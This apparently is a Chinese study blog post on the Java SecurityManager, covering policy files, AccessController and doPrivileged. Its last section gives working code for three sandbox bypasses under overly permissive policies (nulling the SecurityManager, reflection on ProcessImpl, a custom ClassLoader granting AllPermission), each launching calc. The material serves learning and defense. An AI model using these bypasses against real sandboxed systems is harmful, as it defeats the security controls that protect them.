Java SecurityManager学习

0x01 Java SecurityManager是什么

Java SecurityManager是为应用程序定义安全策略的对象,通过策略指定不安全或敏感的操作,安全策略不允许的任何操作都会抛出SecurityException,应用程序可以查询其安全管理器允许的操作。

Java程序默认情况下都没有开启SecurityManager,如果开启了我们可以通过System.getSecurityManager获取安全管理器java.lang.SecurityManager对象,SecurityManager实现安全策略的管理,允许应用程序在执行可能敏感操作之前确定该操作是否被允许,应用程序可以允许或禁止该操作。

java.lang.SecurityManager包含很多checkXXX形式的方法,checkXXX方法用于检查XXX操作的权限,权限主要分为以下几类:文件、套接字、网络、安全、运行时、属性、AWT、反射和序列化,对于管理这些权限的类是java.io.FilePermissionjava.net.SocketPermissionjava.net.NetPermissionjava.security.SecurityPermissionjava.lang.RuntimePermissionjava.util.PropertyPermissionjava.awt.AWTPermissionjava.lang.reflect.ReflectPermission、和 java.io.SerializablePermission

Java SecurityManager应用场景:

当运行未知Java程序,该程序可能有恶意代码(操作系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行代码的权限进行控制,就要启用Java安全管理器。

如何启动SecurityManager?

有两种方式启动:

  1. 启动参数方式:-Djava.security.manager,若要同时指定配置文件的位置通过-Djava.security.manager -Djava.security.policy="E:/java.policy"
  2. 编码下创建SecurityManager实例来启动:
1
2
3
4
SecurityManager securityManager = new SecurityManager();
System.setSecurityManager(securityManager);
// 指定配置文件policy
System.setProperty("java.security.policy", "file:/E:/myTest.policy");

管理SecurityManager配置文件:

当配置文件没有被指定时,则会使用默认的安全策略配置文件$JAVA_HOME/jre/lib/security/java.policy

安全配置的基本原则如下:

1
2
3
4
1、没有配置的权限表示禁止。
2、只能配置允许的权限,不能配置禁止的操作。
3、同一种权限可多次配置,取并集。
4、同一资源的多种权限可用逗号分割。

以下是默认安全策略文件内容,分为两部分的授权,一是授权基于路径在”file:$/*”的class和jar包所有权限,二是针对权限的细粒度配置,可以参考每种类别的javadoc说明。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
grant codeBase "file:${{java.ext.dirs}}/*" {
permission java.security.AllPermission;
};

// default permissions granted to all domains
// 定义了所有JAVA程序都拥有的权限,包括停止线程、启动Socket 服务器、读取部分系统属性
grant {
permission java.lang.RuntimePermission "stopThread";

// allows anyone to listen on dynamic ports
permission java.net.SocketPermission "localhost:0", "listen";

// "standard" properies that can be read by anyone

permission java.util.PropertyPermission "java.version", "read";
permission java.util.PropertyPermission "java.vendor", "read";
permission java.util.PropertyPermission "java.vendor.url", "read";
......

permission java.util.PropertyPermission "java.specification.version", "read";
permission java.util.PropertyPermission "java.specification.vendor", "read";
permission java.util.PropertyPermission "java.specification.name", "read";

permission java.util.PropertyPermission "java.vm.specification.version", "read";
permission java.util.PropertyPermission "java.vm.specification.vendor", "read";
......
};

通过一个例子理解SecurityManager的作用

下面是一个通过SecurityManager配置授予指定文件读写权限的例子,只有授予文件权限才允许被读或写(代码放在GitHub了),CreatePolicy文件用来创建一个策略配置文件,也可以通过手动创建,TestFilePolicy用来测试文件读写权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class CreatePolicy {
public static void main(String[] args) {
CreatePolicy createPolicy = new CreatePolicy();
createPolicy.createFile("E:/myTest.policy","E:\\test.txt");
}

/**
* 在指定文件下生成一个policy文件,允许某个文件的读写
*
* @param allowFileName 指定配置文件保存位置
* @param policyFileName 指定可读写文件
*/
protected void createFile(String policyFileName, String allowFileName) {
allowFileName = allowFileName.replace("\\", "/");
String policyContent = "grant {\n" +
" permission java.io.FilePermission \"" + allowFileName + "\",\"read,write\";\n" +
"};";
try {
FileWriter fileWriter = new FileWriter(policyFileName);
fileWriter.write(policyContent);
fileWriter.flush();
fileWriter.close();
} catch (IOException e) {
e.printStackTrace();
}
}

}

public class TestFilePolicy {
public static void main(String[] args) {
String policyFileName = "E:/fileTest.policy";
String allowFileName = "E:/test.txt";
// 1、首先设置好policy文件
CreatePolicy createPolicy = new CreatePolicy();
createPolicy.createFile(policyFileName, allowFileName);
System.setProperty("java.security.policy", "file:/" + policyFileName);
// 2、启动 SecurityManager
SecurityManager securityManager = new SecurityManager();
System.setSecurityManager(securityManager);
// 3、尝试写文件
try {
securityManager.checkWrite(allowFileName);
write(new File(allowFileName));
System.out.println("file write ok");
} catch (Throwable e) {
System.out.println(e.getMessage());
}
}

private static void write(File file) throws Throwable {
try {
FileWriter fileWriter = new FileWriter(file);
fileWriter.write("test");
fileWriter.flush();
fileWriter.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}

执行上面代码,由于通过策略文件授予了E:/test.txt文件的读写权限,应用可以成功写文件;如果删除注释中的1、2步骤,执行代码,由于没有配置安全管理器,应用可以任意写文件;如果删除System.setProperty("java.security.policy", "file:/" + policyFileName);对策略文件的配置,使用默认策略,写文件会失败,因为默认配置文件没有授予文件写的权限。

因此通过上面这个例子,我们可以理解SecurityManager主要的作用就是配置权限,管理安全策略,防止不必要的授权。

0x02 AccessController

域模型:

参考:https://tech101.cn/2019/08/15/AccessController%E7%9A%84doPrivileged%E6%96%B9%E6%B3%95%E7%9A%84%E4%BD%9C%E7%94%A8#%E5%9F%9F%E6%A8%A1%E5%9E%8B

在当前最新的Java安全模型中,引入了 域(Domain)的概念。虚拟机会将所有代码加载到不同的域中。其中系统域负责和操作系统的资源进行交互,而各个应用域对系统资源的访问需要通过系统域的代理来实现受限访问。JVM中的不同域关联了不同的权限,处于域中的类将拥有这个域所包含的所有权限。

在域模型中,为了实现权限控制,涉及到一些概念,包括:

  1. 代码源(code source):代码源表示类的来源URL地址,代码源由类加载器负责创建和管理。
  2. 权限(permission):封装特定操作的请求
  3. 策略(policy):策略是一组权限的总称,用于确定权限应该用于哪些代码源。
  4. 保护域(protection domain):封装代码和代码所拥有的权限,保护域可以理解为是代码源和权限映射关系的集合,一个类如果属于一个保护域,那么这个类将拥有这个域中的所有权限。

这里codeBase相当于制定了代码源 哪些代码,permission java.lang.FilePermission "read";指定了代码源拥有的权限,而保护域会将多个code source和多个permission之间的关系进行映射

1
2
3
4
5
6
7
grant codeBase "file:/code/A/*" {
permission java.lang.FilePermission "file1","read";
}

grant codeBase "file:/code/B/*" {
permission java.lang.FilePermission "file1","read,write";
}

上面策略对应的域如下:

image-20210929144409923

AccessController.checkPermission工作机制

上面例子中通过securityManager.checkWrite(allowFileName);检查文件的写权限,checkWrite方法调用checkPermission处理,最终委托给AccessController.checkPermission(perm);检查。

1
2
3
4
5
6
7
public void checkWrite(String file) {
checkPermission(new FilePermission(file, securityConstants.FILE_WRITE_ACTION));
}

public void checkPermission(Permission perm) {
java.security.AccessController.checkPermission(perm);
}

AccessController判断权限的主体是调用者(Caller)。基于访问控制的规则,AccessController在进行权限判断的时候,它不仅仅检查当前Caller是否拥有权限,而是对整个调用链上的所有Caller进行权限检查。对调用链上的每个Caller,都会基于它们各自所属的ProtectionDomain中的权限集合进行检查。当满足下面的二个条件,则表示访问被授权:
1、在当前调用链上,从当前的Caller到初始Caller之间的所有Caller都能被各自所属的ProtectionDomain中的权限授权。
2、在当前调用链上,其中有一个Caller被标记为privilege并且被授权,同时接下来调用的过程中所有调用都能被各自的域授权。
如果上述的二点有任何一点不满足,则AccessController.checkPermission()会抛出AccessControlException

AccessController.doPrivileged()授予特权

Caller如何被标记为privilege?可以调用AccessController.doPrivileged()临时授权。

将上面TestFilePolicy例子改写,上面的例子只有文件的写权限,我们需要临时用到读权限,通过doPrivileged满足。在main中添加调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 4、用AccessController.doPrivileged赋予写文件特权
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
@Override
public Void run() throws Exception {
try {
System.out.println("file read ok");
read(new File(allowFileName));
} catch (Throwable throwable) {
throwable.printStackTrace();
}
return null;
}
});
} catch (PrivilegedActionException e) {
e.printStackTrace();
}

0x03 Java SecurityManager绕过

本次学习实验参考的https://github.com/codeplutos/java-security-manager-bypass。

1、通过授权RuntimePermission为setSecurityManager和设置SecurityManager为null,绕过check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class SetSecurityManagerNullBypass {
public static void main(String[] args) {
new SetSecurityManagerNullBypass().exec();
}

private void exec() {
//TODO 编译运行 -Djava.security.manager -Djava.security.policy==your.policy
// grant {
// permission java.lang.RuntimePermission "setSecurityManager";
// };

// 设置SecurityManager为null 绕过check
System.setSecurityManager(null);
// 执行命令
Runtime runtime = Runtime.getRuntime();
try {
runtime.exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

}

2、通过反射权限执行恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class BypassByReflection {
public static void main(String[] args) {

//TODO compile and run with: -Djava.security.manager -Djava.security.policy==bypass-by-reflection.policy
// bypass-by-reflection.policy:
// grant {
// permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
// permission java.lang.RuntimePermission "accessDeclaredMembers";
// };

// executeCommandWithReflection("calc");
exec("calc");
}

public static void exec(String command) {
try {
Runtime.getRuntime().exec(command);
} catch (Exception e) {
e.printStackTrace();
}
}

public static void executeCommandWithReflection(String command) {
try {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(clz, new String[]{command}, null, null, null, false);
} catch (Exception e) {
e.printStackTrace();
}
}

}

3、通过赋予加载器权限,自定义加载器来执行恶意代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
public class BypassByClassloader {
public static void main(String[] args) {
//TODO compile and run with: -Djava.security.manager -Djava.security.policy==bypass-by-createclassloader.policy
// grant{
// permission java.lang.RuntimePermission "createClassLoader";
// permission java.io.FilePermission "<<ALL FILES>>", "read";
// };

MyClassLoader mcl = new MyClassLoader();
try {
Class<?> c1 = Class.forName("com.r17a.commonvuln.securitymiconfig.securitymanager.Evil", true, mcl);
Object obj = c1.newInstance();
System.out.println(obj.getClass().getClassLoader());
} catch (ClassNotFoundException | IllegalAccessException | InstantiationException e) {
e.printStackTrace();
}
}
}

class Evil {
public Evil(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

class MyClassLoader extends ClassLoader {
public MyClassLoader() {
}

public MyClassLoader(ClassLoader parent) {
super(parent);
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
File file = getClassFile(name);
try {
byte[] bytes = getClassBytes(file);
//call defineClazz not super.defineClass
return defineClazz(name, bytes, 0, bytes.length);
} catch (Exception e) {
e.printStackTrace();
}

return super.findClass(name);
}

protected final Class<?> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {
try {
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());

//设置ProtectionDomain
ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
pc, this, null);
return this.defineClass(name, b, off, len, pd);
} catch (Exception e) {
return null;
}
}

private File getClassFile(String name) {
File file = new File("./" + name + ".class");
return file;
}

private byte[] getClassBytes(File file) throws Exception {
FileInputStream fis = new FileInputStream(file);
FileChannel fc = fis.getChannel();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
WritableByteChannel wbc = Channels.newChannel(baos);
ByteBuffer by = ByteBuffer.allocate(1024);

while (true) {
int i = fc.read(by);
if (i == 0 || i == -1) {
break;
}

by.flip();
wbc.write(by);
by.clear();
}
fis.close();
return baos.toByteArray();
}
}

0x04 参考链接:

1
2
3
4
5
6
7
https://docs.oracle.com/javase/tutorial/essential/environment/security.html
https://docs.oracle.com/javase/8/docs/api/java/lang/SecurityManager.html
https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html
https://c0d3p1ut0s.github.io/%E6%94%BB%E5%87%BBJava%E6%B2%99%E7%AE%B1/
https://github.com/codeplutos/java-security-manager-bypass
https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html
https://tech101.cn/2019/08/15/AccessController%E7%9A%84doPrivileged%E6%96%B9%E6%B3%95%E7%9A%84%E4%BD%9C%E7%94%A8